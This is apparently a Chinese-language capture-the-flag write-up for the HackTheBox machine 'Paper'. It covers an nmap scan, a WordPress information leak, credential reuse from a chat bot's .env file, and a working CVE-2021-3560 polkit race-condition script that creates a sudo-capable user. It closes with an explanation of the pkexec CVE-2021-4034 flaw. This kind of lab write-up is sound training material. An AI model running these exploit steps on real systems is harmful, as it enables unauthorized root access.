本文描述了一种针对名为“Paper”的靶机的渗透测试过程。首先,通过Nmap扫描确认开放的端口和服务,包括SSH和Apache HTTP。接着,利用WordPress的漏洞进行信息收集,并成功注册用户以获取访问权限。文章详细介绍了如何通过特定的命令和代码利用CVE-2021-3560漏洞进行特权升级,最终获得root权限,展示了渗透测试的完整链条及其学习经验。
Information Gathering
# Nmap 7.98 scan initiated Thu Dec 25 18:05:58 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.143
Nmap scan report for paper.htb (10.10.11.143)
Host is up (0.095s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
| 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| tls-alpn:
|_ http/1.1
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Issuer: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-07-03T08:52:34
| Not valid after: 2022-07-08T10:32:34
| MD5: 579a 92bd 803c ac47 d49c 5add e44e 4f84
| SHA-1: 61a2 301f 9e5c 2603 a643 00b5 e5da 5fd5 c175 f3a9
|_SHA-256: d5f0 f409 8515 2a6f eae7 437b 7ef0 888a 983c 503d 759a 2c07 1204 b408 a42b 0fc3
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Uptime guess: 30.160 days (since Tue Nov 25 14:16:02 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 25 18:06:20 2025 -- 1 IP address (1 host up) scanned in 21.80 seconds
Vulnerability Analysis

更改请求方法得到虚拟主机
进入http://office.paper/得到wordpress的blog
在页面中发现一个泄露

其次我们查看到wordpress版本号为5.2.3得到漏洞
http://office.paper/?static=1输入后得到注册网址http://chat.office.paper/register/8qozr226AhkCHZdyY
Exploitation (User Flag)
注册后在# general中得到一个机器人,私自发信息给他
枚举后file ../hubot/.env得到
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
查看/etc/passwd →rocketchat和dwight

➜ Paper ssh dwight@paper.htb
# Queenofblad3s!23
Privilege Escalation (Root Flag)
[dwight@paper ~]$ rpm -qa | grep polkit
polkit-0.115-6.el8.x86_64
得到CVE-2021-3560,竞争条件漏洞
CVE-2021-3560 的核心在于:如果在 Polkit 还在查询用户信息的时候,我们突然杀死了你的进程,会发生什么?
发送请求(比如:“我要创建一个 Root 用户”)。
Polkit 接到请求,准备去查UID。
然后在极短的时间内(几毫秒)杀掉 (Kill) 刚才发送请求的进程。
Polkit 懵了。它去 /proc 查我们的 PID,结果发现进程不见了。
Bug 出现了: Polkit 的代码中有一个错误处理逻辑。当它无法获取请求者的 UID 时,它没有报错拒绝,而是默认把请求者的 UID 判定为 0 (Root)。
结果:Polkit 认为“哦,原来是 Root 发起的请求啊,那不需要密码”,直接放行。
AccountService 收到 Polkit 的“放行”指令,帮我们创建了用户。
分两段进行
echo "[*] Starting Phase 1: Creating user 'hacker'..."
# 成功标志:id hacker 命令能查到信息
while ! id hacker >/dev/null 2>&1; do
dbus-send --system --dest=org.freedesktop.Accounts \
--type=method_call --print-reply \
/org/freedesktop/Accounts \
org.freedesktop.Accounts.CreateUser \
string:"hacker" string:"Hacker Account" int32:1 & \
sleep 0.005; \
kill $!;
done
echo "[+] User 'hacker' created successfully!"
echo "[*] Starting Phase 2: Setting password..."
# 1. 生成密码 'password123' 的 SHA-512 哈希
myhash=$(openssl passwd -5 password123)
# 2. 获取刚才创建的 hacker 用户的 UID
target_uid=$(id -u hacker)
echo "[*] Target UID is: $target_uid"
# 3. 循环攻击 SetPassword 接口
# 我们不依赖报错判断,而是跑它个 50 次,大概率能中
for i in {1..50}; do
dbus-send --system --dest=org.freedesktop.Accounts \
--type=method_call --print-reply \
/org/freedesktop/Accounts/User$target_uid \
org.freedesktop.Accounts.User.SetPassword \
string:"$myhash" string:"ask" & \
sleep 0.005; \
kill $!;
done
echo "[*] Attack loops finished. Try logging in now."
# 这个多尝试几次
su hacker
# 输入密码:password123
sudo -l
# 你会看到 (ALL : ALL) ALL
sudo bash
# 获得 ROOT 权限
Lessons Learned
CVE-2021-4034
当一个程序(比如 pkexec)启动时,内核会将参数(argv)和环境变量(envp)放在栈上,而且它们是紧挨着的:
| argv[0] | argv[1] | ... | argv[argc] (NULL) | envp[0] | envp[1] | ... |
argv存放你输入的命令参数。envp存放环境变量(如PATH=/bin,HOME=/root)。- 正常情况下,
argv列表是以NULL结尾的,用来告诉程序参数读完了。
pkexec 的源码里大概是这样写的(伪代码):
main(int argc, char *argv[]) {
// 目标:找到要执行的程序名
// 正常用法:pkexec bash (argv[0]="pkexec", argv[1]="bash")
// n 初始为 1
for (n = 1; n < argc; n++) {
// ... 一些检查 ...
// 如果一切正常,把 argv[n] 设为要执行的程序路径
path = argv[n];
break;
}
// ... 后面会查找 path 的绝对路径并执行 ...
}
当 argc 为 0 时发生:
- 循环条件
n < argc(1 < 0) 不满足,循环直接跳过。 - 但是! 代码后面仍然尝试去读取
argv[n](即argv[1])来获取要执行的程序名。 - 回到上面的内存图:由于
argv是空的,argv[1]的位置实际上越界读到了envp[0](第一个环境变量)。
pkexec 把第一个环境变量当成了它要执行的程序名。
攻击链:如何利用这个“错位”
仅仅把环境变量当成程序名还不足以提权,我们需要结合 pkexec 的另一个特性:重新加载环境变量。
当你运行 pkexec 时,为了安全,它会清除一些危险的环境变量(比如 LD_PRELOAD),防止你注入恶意库。但是,我们可以利用上述的“错位”把它骗回来。
步骤演示
- 构造特殊的
envp我们通过execve启动pkexec,并传入这样的环境变量列表: - pkexec 的反应
- GCONV_PATH 注入 (关键一击)
- 执行恶意代码